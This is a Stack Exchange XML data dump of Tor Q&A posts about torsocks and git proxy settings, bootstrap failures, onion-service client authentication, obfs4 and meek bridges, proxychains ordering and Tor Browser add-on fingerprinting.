  <row Id="23025" PostTypeId="2" ParentId="22958" CreationDate="2022-01-26T21:16:53.357" Score="0" Body="&lt;p&gt;The only &lt;strong&gt;right&amp;amp;true&lt;/strong&gt; way to solve this is to use Tor's on-flight host mappings and &lt;code&gt;TransPort&lt;/code&gt; embedded in your firewall rules. It will fix not just SSH and SCP, but will aid literally any regular tool you'll use. Try it - and feel free to ask if you need more help!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2022-01-26T23:55:50.520" LastActivityDate="2022-01-26T23:55:50.520" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23026" PostTypeId="1" AcceptedAnswerId="23033" CreationDate="2022-01-25T20:06:04.173" Score="2" ViewCount="320" Body="&lt;p&gt;&lt;code&gt;torsocks git clone https://github.com/ElementsProject/lightning.git&lt;/code&gt;&#xA;does not work and gives me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Cloning into 'lightning'...&#xA;1643140279 PERROR torsocks[51452]: socks5 libc connect: Connection refused (in socks5_connect() at socks5.c:202)&#xA;fatal: unable to access 'https://github.com/ElementsProject/lightning.git/': Could not resolve host: github.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;as I'm using a custom TorSocks port I also tried &lt;code&gt;torsocks -P &amp;lt;integer-not-to-be-doxxed&amp;gt; git clone https://github.com/ElementsProject/lightning.git&lt;/code&gt; and got&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Cloning into 'lightning'...&#xA;remote: Enumerating objects: 84494, done.&#xA;remote: Counting objects: 100% (997/997), done.&#xA;remote: Compressing objects: 100% (529/529), done.&#xA;remote: Total 84494 (delta 581), reused 724 (delta 456), pack-reused 83497&#xA;Receiving objects: 100% (84494/84494), 44.87 MiB | 1.67 MiB/s, done.&#xA;Resolving deltas: 100% (64620/64620), done.&#xA;1643175331 ERROR torsocks[136753]: Unable to resolve. Status reply: 4 (in socks5_recv_resolve_reply() at socks5.c:677)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Comparing with the directory cloned without torsocks by running &lt;code&gt;diff -r lightning /home/john/lightning&lt;/code&gt; gives me some differences in files whose importance is not known to me:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Binary files lightning/.git/index and /home/john/lightning/.git/index differ&#xA;diff -r lightning/.git/logs/HEAD /home/john/lightning/.git/logs/HEAD&#xA;1c1&#xA;&amp;lt; 0000000000000000000000000000000000000000 4dafeede5c81d1ba7626480083ad4bb6716a5f70 john &amp;lt;john@john-ONE-AMD-M4.(none)&amp;gt; 1643175525 +0100 clone: from https://github.com/ElementsProject/lightning.git&#xA;---&#xA;&amp;gt; 0000000000000000000000000000000000000000 4dafeede5c81d1ba7626480083ad4bb6716a5f70 john &amp;lt;john@john-ONE-AMD-M4.(none)&amp;gt; 1643175331 +0100 clone: from https://github.com/ElementsProject/lightning.git&#xA;diff -r lightning/.git/logs/refs/heads/master /home/john/lightning/.git/logs/refs/heads/master&#xA;1c1&#xA;&amp;lt; 0000000000000000000000000000000000000000 4dafeede5c81d1ba7626480083ad4bb6716a5f70 john &amp;lt;john@john-ONE-AMD-M4.(none)&amp;gt; 1643175525 +0100 clone: from https://github.com/ElementsProject/lightning.git&#xA;---&#xA;&amp;gt; 0000000000000000000000000000000000000000 4dafeede5c81d1ba7626480083ad4bb6716a5f70 john &amp;lt;john@john-ONE-AMD-M4.(none)&amp;gt; 1643175331 +0100 clone: from https://github.com/ElementsProject/lightning.git&#xA;diff -r lightning/.git/logs/refs/remotes/origin/HEAD /home/john/lightning/.git/logs/refs/remotes/origin/HEAD&#xA;1c1&#xA;&amp;lt; 0000000000000000000000000000000000000000 4dafeede5c81d1ba7626480083ad4bb6716a5f70 john &amp;lt;john@john-ONE-AMD-M4.(none)&amp;gt; 1643175525 +0100 clone: from https://github.com/ElementsProject/lightning.git&#xA;---&#xA;&amp;gt; 0000000000000000000000000000000000000000 4dafeede5c81d1ba7626480083ad4bb6716a5f70 john &amp;lt;john@john-ONE-AMD-M4.(none)&amp;gt; 1643175331 +0100 clone: from https://github.com/ElementsProject/lightning.git&#xA;Only in lightning/.git/objects/pack: pack-586d5b1c27e10e245ee727dce48e1417cb4d35c5.idx&#xA;Only in lightning/.git/objects/pack: pack-586d5b1c27e10e245ee727dce48e1417cb4d35c5.pack&#xA;Only in /home/john/lightning/.git/objects/pack: pack-e0c04dcbc0385bf98b24b9435bc415b19953ac10.idx&#xA;Only in /home/john/lightning/.git/objects/pack: pack-e0c04dcbc0385bf98b24b9435bc415b19953ac10.pack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It used to work some time ago, sadly not anymore. Why doesn't it work?&#xA;How might I clone the repo over Tor?&lt;/p&gt;&#xA;" OwnerUserId="34031" OwnerDisplayName="John Smith" LastEditorUserId="14997" LastEditDate="2022-01-31T11:14:35.827" LastActivityDate="2022-02-02T19:56:45.440" Title="Why doesn't `torsocks git clone https://github.com/ElementsProject/lightning.git` work?" Tags="|torsocks|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="23027" PostTypeId="1" CreationDate="2022-01-28T05:09:42.113" Score="0" ViewCount="551" Body="&lt;p&gt;Ive used tor regularily for along time, yesterday I installed Avast and Tor stopped working, I've remove avast and fixed all the settings I can think of but the log still says this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1/28/22, 05:02:55.873 [NOTICE] New control connection opened from 127.0.0.1.&#xA;1/28/22, 05:02:55.873 [NOTICE] New control connection opened from 127.0.0.1.&#xA;1/28/22, 05:02:56.490 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;1/28/22, 05:02:57.375 [NOTICE] Opening Socks listener on 127.0.0.1:9150&#xA;1/28/22, 05:02:57.376 [NOTICE] Opened Socks listener connection (ready) on 127.0.0.1:9150&#xA;1/28/22, 05:02:57.396 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:02:57.457 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:02:57.457 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:02:57.520 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:02:57.520 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:02:57.520 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:03:49.470 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:03:49.470 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:03:49.470 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:03:49.470 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:04:26.505 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:04:26.506 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:04:26.506 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:04:26.506 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:04:26.506 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:05:57.312 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:05:57.312 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:05:57.312 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:07:29.439 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;1/28/22, 05:07:29.439 [NOTICE] Application request when we haven't used client functionality lately. Optimistically trying directory fetches again.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="34034" LastEditorUserId="24966" LastEditDate="2022-01-28T05:24:12.840" LastActivityDate="2022-02-28T17:08:00.647" Title="Tor wont connect all of a sudden" Tags="|configuration|network-configuration|connection|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23028" PostTypeId="1" CreationDate="2022-01-28T10:51:16.887" Score="1" ViewCount="483" Body="&lt;p&gt;In the Tor hidden service v3 protocol spec &lt;a href=&quot;https://github.com/FiloSottile/torspec/blob/master/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/FiloSottile/torspec/blob/master/rend-spec-v3.txt&lt;/a&gt; there are 2 types of client authentication described, &lt;code&gt;HS-DESC-ENC&lt;/code&gt; which uses an x25519 keypair, and &lt;code&gt;INTRO-AUTH&lt;/code&gt; which uses an ed25519 keypair. Below excerpt from the spec.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;   - An x25519 keypair used to compute decryption keys that allow the client to&#xA;     decrypt the hidden service descriptor. See [HS-DESC-ENC].&#xA;&#xA;   - An ed25519 keypair which allows the client to compute signatures which&#xA;     prove to the hidden service that the client is authorized. These&#xA;     signatures are inserted into the INTRODUCE1 cell, and without them the&#xA;     introduction to the hidden service cannot be completed. See [INTRO-AUTH].&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The first type, &lt;code&gt;HS-DESC-ENC&lt;/code&gt;, is already easily usable by generating an x25519 keypair and adding it to the client authorzation folder.&lt;/p&gt;&#xA;&lt;p&gt;However, I am wondering if the second &lt;code&gt;INTRO-AUTH&lt;/code&gt; authorization method is usable yet, and how to set it up.&lt;/p&gt;&#xA;&lt;p&gt;I think what I'm trying to do requires &lt;code&gt;INTRO-AUTH&lt;/code&gt; specifically: I want to be able to issue every user of a hidden service their own client auth key, and be able to tell when each key is used, eventually set usage limits (eg, limited to 1 connection at a time), etc. I'm guessing this isn't possible with &lt;code&gt;HS-DESC-ENC&lt;/code&gt; as everyone decrypts the same hidden service descriptor, so the hidden service can't tell which key is being used to connect, only that the client had &lt;em&gt;a&lt;/em&gt; valid key. But for the hidden service to validate the client's digital signature in &lt;code&gt;INTRO-AUTH&lt;/code&gt; it would have to know for certain which key was used, which hopefully won't be too difficult to extract.&lt;/p&gt;&#xA;" OwnerUserId="28365" LastActivityDate="2022-01-28T10:51:16.887" Title="Tor Hidden Service v3 'INTRO-AUTH' Client Authentication" Tags="|onion-services|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23029" PostTypeId="2" ParentId="10409" CreationDate="2022-01-28T13:54:26.980" Score="0" Body="&lt;p&gt;You may be able to reinstall the latest version of Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="34036" LastActivityDate="2022-01-28T13:54:26.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23030" PostTypeId="2" ParentId="23027" CreationDate="2022-01-29T16:40:14.193" Score="0" Body="&lt;p&gt;Avast is caught by hand for selling user's data &lt;a href=&quot;https://www.cnet.com/tech/services-and-software/antivirus-firm-avast-is-reportedly-selling-users-web-browsing-data/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here is the story&lt;/a&gt;. Your Tor instance has not bootstrapped yet - because of the firewall activity. Make an exception for Tor or delete the Avast - I do recommend deletion&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-01-29T16:40:14.193" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23031" PostTypeId="1" CreationDate="2022-01-30T12:27:17.910" Score="2" ViewCount="139" Body="&lt;p&gt;&lt;a href=&quot;https://www.rutschle.net/tech/sslh/README.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sslh&lt;/a&gt; is a protocol multiplexer that is commonly used to let one log in to a server via SSH on port 443, whilst that server still serves valid HTTPS content on port 443.&lt;/p&gt;&#xA;&lt;p&gt;From its manual, it is described as:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[Accepting] connections on specified ports, and forwards them further&#xA;based on tests performed on the first data packet sent by the remote&#xA;client.&lt;/p&gt;&#xA;&lt;p&gt;Probes for HTTP, TLS/SSL (including SNI and ALPN), SSH, OpenVPN, tinc,&#xA;XMPP, SOCKS5, are implemented, and any other protocol that can be&#xA;tested using a regular expression, can be recognised. A typical use&#xA;case is to allow serving several services on port 443 (e.g. to connect&#xA;to SSH from inside a corporate firewall, which almost never block port&#xA;443) while still serving HTTPS on that port.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It is my understanding that if one were to run an obfs4proxy server as a private bridge, it is possible to do this on port 443 easily. But as both apache/nginx/your webserver of choice and obs4proxy can't bind to the same port, an adversary who sniffed traffic, saw a relatively frequent number of connections to this particular website, and decided to visit it on port 443 wouldn't see a page -- and thus might become suspicious.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to effectively multiplex the two, either by using sslh, or otherwise?&lt;/p&gt;&#xA;" OwnerUserId="34044" LastActivityDate="2022-01-30T12:27:17.910" Title="Is it possible to run an obfs4proxy server and a webserver on the same port simultaneously, á la sslh?" Tags="|obfsproxy|obfs4|ssl|obfs4proxy|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23032" PostTypeId="2" ParentId="9062" CreationDate="2022-01-30T12:46:10.037" Score="0" Body="&lt;p&gt;Unfortunately, the answer to this is &amp;quot;no&amp;quot; – the two bridge methods provide more secure ways of entering the tor network and fundamentally work differently. Obfs4proxy is designed to make traffic look like encrypted web traffic, known as SSL, and alters the statistical properties of the traffic as a result. The path your data takes when using obfsproxy looks a bit like this (sorry for the awful diagram!)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; OBFSPROXY CASE&#xA; +--------------------------------------------------------------+&#xA; |                                  +----------|                |&#xA; |   Your Computer                  |Tor node+---------&amp;gt;Internet|&#xA; |         +                        +--------&amp;gt; |                |&#xA; |         |                        +v-----|   |                |&#xA; |         |                        |  |----&amp;gt;  |                |&#xA; |         v                        +----------+                |&#xA; |   Obfs4proxy server+-----------&amp;gt;   Tor node                  |&#xA; |                                                              |&#xA; +--------------------------------------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In other words, the obfs4proxy server just acts as a bridge to the tor network. That's why they're called &lt;em&gt;bridges&lt;/em&gt; – the network itself does its onion routing thing, and then directs your data to its destination, be that an onion site within the network or an external webserver.&lt;/p&gt;&#xA;&lt;p&gt;Meek works differently, using a technique called domain fronting to make it appear that you are connecting to one website in particular -- nowadays, Microsoft Azure alone. So, the diagram looks a bit different but the concept is the same:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MEEK-AZURE CASE&#xA; +--------------------------------------------------------------+&#xA; |                                                              |&#xA; |   Your Computer                  +----------|                |&#xA; |         +                        |Tor node+---------&amp;gt;Internet|&#xA; |         |  +------&amp;gt;+             +--------&amp;gt; |                |&#xA; |         |  |       |             +v-----|   |                |&#xA; |         v  +       |             |  |----&amp;gt;  |                |&#xA; |   Microsoft Azure  |             +----------+                |&#xA; |                    +-------------&amp;gt;Tor guard                  |&#xA; +--------------------------------------------------------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that the difference is with meek you don't actually connect to Azure, really, unlike with obfs4proxy. So it's much more censorship resistant, but because of these single links, unfortunately is really quite slow. They are very hard to block though. Signal uses this technique in China, and there's a good explanation of how it works here: &lt;a href=&quot;https://securityaffairs.co/wordpress/54659/digital-id/signal-domain-fronting.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://securityaffairs.co/wordpress/54659/digital-id/signal-domain-fronting.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="34044" LastActivityDate="2022-01-30T12:46:10.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23033" PostTypeId="2" ParentId="23026" CreationDate="2022-01-31T18:51:43.540" Score="2" Body="&lt;p&gt;It's how the Git works - you need to set Git socks proxy like that:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;git config --global http.proxy 'socks5://127.0.0.1:9050'&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and to unset it:&#xA;&lt;code&gt;git config --global --unset http.proxy&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Use &lt;code&gt;http.proxy&lt;/code&gt; or &lt;code&gt;https.proxy&lt;/code&gt; for names. That's good to make one-liner to make &lt;em&gt;any&lt;/em&gt; nested calls for Git work, i.e. in a complex shell scripts, without touching a line.&lt;/p&gt;&#xA;&lt;p&gt;And another workaround is using &lt;em&gt;just for the one line&lt;/em&gt; is to use &lt;code&gt;ALL_PROXY&lt;/code&gt; variable like that:&#xA;&lt;code&gt;ALL_PROXY=socks5://127.0.0.1:9050 git clone xxxxxx&lt;/code&gt; .&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="34031" LastEditDate="2022-02-02T19:56:45.440" LastActivityDate="2022-02-02T19:56:45.440" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23035" PostTypeId="2" ParentId="21192" CreationDate="2022-02-02T20:02:10.257" Score="0" Body="&lt;p&gt;Yes, it's totally not hard-coded. The port for Socks is 1080 - as it is &lt;em&gt;usually&lt;/em&gt; happens in the network setups. The port number 9050 is &lt;em&gt;just&lt;/em&gt; a default in Tor. And - the Microsoft &lt;strong&gt;so-called accidentally&lt;/strong&gt; has binded some system services on desktop operating systems on it to prevent Tor expert bundle working out of the box for inexperienced users. You - actually on Windows OS - &lt;strong&gt;must&lt;/strong&gt; change it, for good. I'm using 9999, but pick any available one of your choice. Even more - on Linux and Unix OS'es you can try utilizing a Unix FSock(file sockets) - it will lower a payload for the network operations on localhost.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-02-02T20:02:10.257" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23036" PostTypeId="2" ParentId="9062" CreationDate="2022-02-02T20:44:39.920" Score="1" Body="&lt;p&gt;You can! Tor's source code patch required - as I did it at first, but there is an easier way to do so, I've figured it out and it is literally zero-patch one! You'll need three Tor instances running locally on the &lt;strong&gt;very same host&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;An Obfs4 one&lt;/em&gt; - it will connect through OBFS4 &lt;strong&gt;and&lt;/strong&gt; will have it's ORPort exposed in an isolated environment&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;A Meek one&lt;/em&gt; - it will connect through OBFS4 &lt;strong&gt;and&lt;/strong&gt; will have it's ORPort exposed in an isolated environment&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;A working one&lt;/em&gt; - it will connect &lt;strong&gt;forcibly through the ones above only&lt;/strong&gt; and will provide you the connectivity&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-02-02T20:44:39.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23037" PostTypeId="1" CreationDate="2022-02-08T16:25:52.047" Score="2" ViewCount="115" Body="&lt;p&gt;I keep getting&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Access Denied&#xA;&#xA;This IP address (...) has been blocked from access to our services.&#xA;&#xA;Reason: Blocked.&#xA;&#xA;Time: Tue, 08 Feb 2022 16:15:56 GMT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;for rather long time already, even switching circuits repeatedly does not work.&lt;/p&gt;&#xA;&lt;p&gt;It is rather typical that user contributions are blocked from Tor, but I expect the content to be at least viewable.&lt;/p&gt;&#xA;&lt;p&gt;Is there maybe some official StackExchange policy or blog post about Tor access? Is it blocked indefinitely or temporarily?&lt;/p&gt;&#xA;" OwnerUserId="34094" LastActivityDate="2022-03-13T07:03:55.387" Title="Is tor.stackexchange.com supposed to read-accessible from Tor network?" Tags="|tor-browser-bundle|website|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23038" PostTypeId="2" ParentId="19730" CreationDate="2022-02-09T00:03:09.000" Score="0" Body="&lt;p&gt;Aktualisierung der Einstellungen für den Tor-Dienst&#xA;updating torrc custom configuration...&#xA;Orbot startet …&#xA;SUCCESS added control port event handler&#xA;SUCCESS connected to Tor control port.&#xA;NOTICE: Bootstrapped 10% (conn_done): Connected to a relay&#xA;NOTICE: Bootstrapped 14% (handshake): Handshaking with a relay&#xA;NOTICE: Bootstrapped 15% (handshake_done): Handshake with a relay done&#xA;NOTICE: Bootstrapped 20% (onehop_create): Establishing an encrypted directory connection&#xA;NOTICE: Bootstrapped 25% (requesting_status): Asking for networkstatus consensus&#xA;NOTICE: new bridge descriptor 'DockerObfs4Bridge' (fresh): $5A809B46B4F3FE1A9D23F6593307906A28EA480A~DockerObfs4Bridge [LM8gsgchJ0kRVQ4vRUL0Z0Q1zGPpUoUsAPPpmRd2f/M] at 75.90.21.147&#xA;NOTICE: Bootstrapped 30% (loading_status): Loading networkstatus consensus&#xA;NOTICE: I learned some more directory information, but not enough to build a circuit: We have no usable consensus.&#xA;NOTICE: Bootstrapped 40% (loading_keys): Loading authority key certs&#xA;NOTICE: The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services.&#xA;NOTICE: Bootstrapped 45% (requesting_descriptors): Asking for relay descriptors&#xA;NOTICE: I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6920, and can only build 0% of likely paths. (We have 100% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.)&#xA;NOTICE: Bootstrapped 50% (loading_descriptors): Loading relay descriptors&#xA;NOTICE: I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6920, and can only build 0% of likely paths. (We have 100% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.)&#xA;NOTICE: The current consensus contains exit nodes. Tor can build exit and internal paths.&#xA;NOTICE: Bootstrapped 56% (loading_descriptors): Loading relay descriptors&#xA;NOTICE: Bootstrapped 62% (loading_descriptors): Loading relay descriptors&#xA;NOTICE: Bootstrapped 69% (loading_descriptors): Loading relay descriptors&#xA;NOTICE: Bootstrapped 75% (enough_dirinfo): Loaded enough directory info to build circuits&#xA;NOTICE: Bootstrapped 76% (ap_conn_pt): Connecting to pluggable transport to build circuits&#xA;NOTICE: Bootstrapped 77% (ap_conn_done_pt): Connected to pluggable transport to build circuits&#xA;NOTICE: Bootstrapped 85% (ap_conn_done): Connected to a relay to build circuits&#xA;NOTICE: Bootstrapped 89% (ap_handshake): Finishing handshake with a relay to build circuits&#xA;NOTICE: Bootstrapped 90% (ap_handshake_done): Handshake finished with a relay to build circuits&#xA;NOTICE: Bootstrapped 95% (circuit_create): Establishing a Tor circuit&#xA;NOTICE: Bootstrapped&lt;/p&gt;&#xA;" OwnerUserId="34098" LastActivityDate="2022-02-09T00:03:09.000" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23039" PostTypeId="1" CreationDate="2022-02-09T08:21:44.300" Score="0" ViewCount="177" Body="&lt;p&gt;I use briar as a messenger and also use orbot system wide with vpn mode switched on. I was wondering if this created tor over tor scenario?&lt;/p&gt;&#xA;" OwnerUserId="34100" LastActivityDate="2022-03-11T21:04:35.343" Title="Tor -&gt; Tor help with orbot" Tags="|configuration|help|orbot|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23040" PostTypeId="1" AcceptedAnswerId="23042" CreationDate="2022-02-09T16:12:36.277" Score="0" ViewCount="305" Body="&lt;p&gt;I am aware that I can have the proxy list in order with &amp;quot;Dynamic chaining&amp;quot;.  However I am not sure with the flow of the connections in relation with tor (like will proxy go first before tor or vice versa).&#xA;But my question is:&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to use proxychain in this order?&lt;/p&gt;&#xA;&lt;p&gt;my pc - &amp;gt; proxy -&amp;gt; tor -&amp;gt; proxy -&amp;gt; destination&lt;/p&gt;&#xA;&lt;p&gt;Which means my entry is in a proxy, then from the proxy to tor entry node, then from tor exit node to another proxy before reaching the destination? If yes, then how?&lt;/p&gt;&#xA;" OwnerUserId="34104" LastEditorUserId="34104" LastEditDate="2022-02-09T16:23:31.507" LastActivityDate="2022-02-09T19:09:33.227" Title="How can I arrange proxies with tor in a specific order in proxychain?" Tags="|configuration|onion-routing|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23041" PostTypeId="1" CreationDate="2022-02-09T17:35:12.063" Score="0" ViewCount="1151" Body="&lt;p&gt;Why isn't there an adblocker included in Tor browser by default? I don't know a single person below the age of 70 that doesn't use an adblocker. After reading around for a while all I have been able to find has been conversations from half a decade ago that basically boil down to &amp;quot;I want ublock origin&amp;quot; vs &amp;quot;I dont want ublock origin&amp;quot;. Is there an actual technical reason for not including it? Ads are pretty much the only thing that manages to drive me off the Tor Browser. I should add that I am aware adding an adblocker alters your fingerprint which is why I would like to see one included by default. I know that noscript can stop some ads but I still get lots of ads even on safest&lt;/p&gt;&#xA;" OwnerUserId="34105" LastActivityDate="2022-03-11T20:01:45.150" Title="Tor and uBlock Origin" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23042" PostTypeId="2" ParentId="23040" CreationDate="2022-02-09T19:09:33.227" Score="0" Body="&lt;p&gt;Sure it is possible! Utilize the Stem library and &lt;code&gt;proxychains&lt;/code&gt; to gain full control for connecting to a &lt;code&gt;separate&lt;/code&gt; proxy instance after Tor, after that use the connection handle to make a proxified request via the last proxy in your schema&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-02-09T19:09:33.227" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="23043" PostTypeId="2" ParentId="23037" CreationDate="2022-02-09T19:11:27.777" Score="0" Body="&lt;p&gt;I strongly agree with you, but there's a WAF fire-up for a Tor exit node, that happens everywhere - and - it's sort of normal: some malicious traffic could be sent before from that particular exit node or just too much requests per a fraction of time. But we need a Tor hidden service for full access to Tor.StackExchange for sure!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-02-09T19:11:27.777" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23044" PostTypeId="2" ParentId="23039" CreationDate="2022-02-09T19:12:43.523" Score="0" Body="&lt;p&gt;It totally depends on the under-the-hood configuration of the tools you've mentioned. It can happen, yes. But it's not the only way how it can be working.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-02-09T19:12:43.523" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23045" PostTypeId="2" ParentId="23041" CreationDate="2022-02-09T19:15:21.623" Score="0" Body="&lt;p&gt;The extensions can be enumerated and/or detected by the running website's scripts, so it would create a fingerprinting criteria for Tor Browser users. You're free to use any add-ons of your choice, but it &lt;strong&gt;must not&lt;/strong&gt; be a wide list of the add-ons shipped out of the box with Tor Browser, because many unexperienced users will just use it as it is and it will fingerprint them the better the wider the pre-shipped add-ons list, even if they are very sane and useful.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-02-09T19:15:21.623" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23046" PostTypeId="2" ParentId="23037" CreationDate="2022-02-11T06:06:02.873" Score="0" Body="&lt;p&gt;StackExchange seems to be accessible from Tor now. Also I see public update about the issue:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://meta.stackexchange.com/questions/376060/update-on-the-ongoing-ddos-attacks-and-blocking-tor-exit-nodes&quot;&gt;https://meta.stackexchange.com/questions/376060/update-on-the-ongoing-ddos-attacks-and-blocking-tor-exit-nodes&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;According to the post, StackExchange is indeed supposed to be accessible from Tor network, except of when some attack occurs.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The decision to block Tor exit nodes did not come lightly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;We did not target, nor set out to block all traffic from Tor&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The ban was long because of the attack was long.&lt;/p&gt;&#xA;" OwnerUserId="34094" LastActivityDate="2022-02-11T06:06:02.873" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
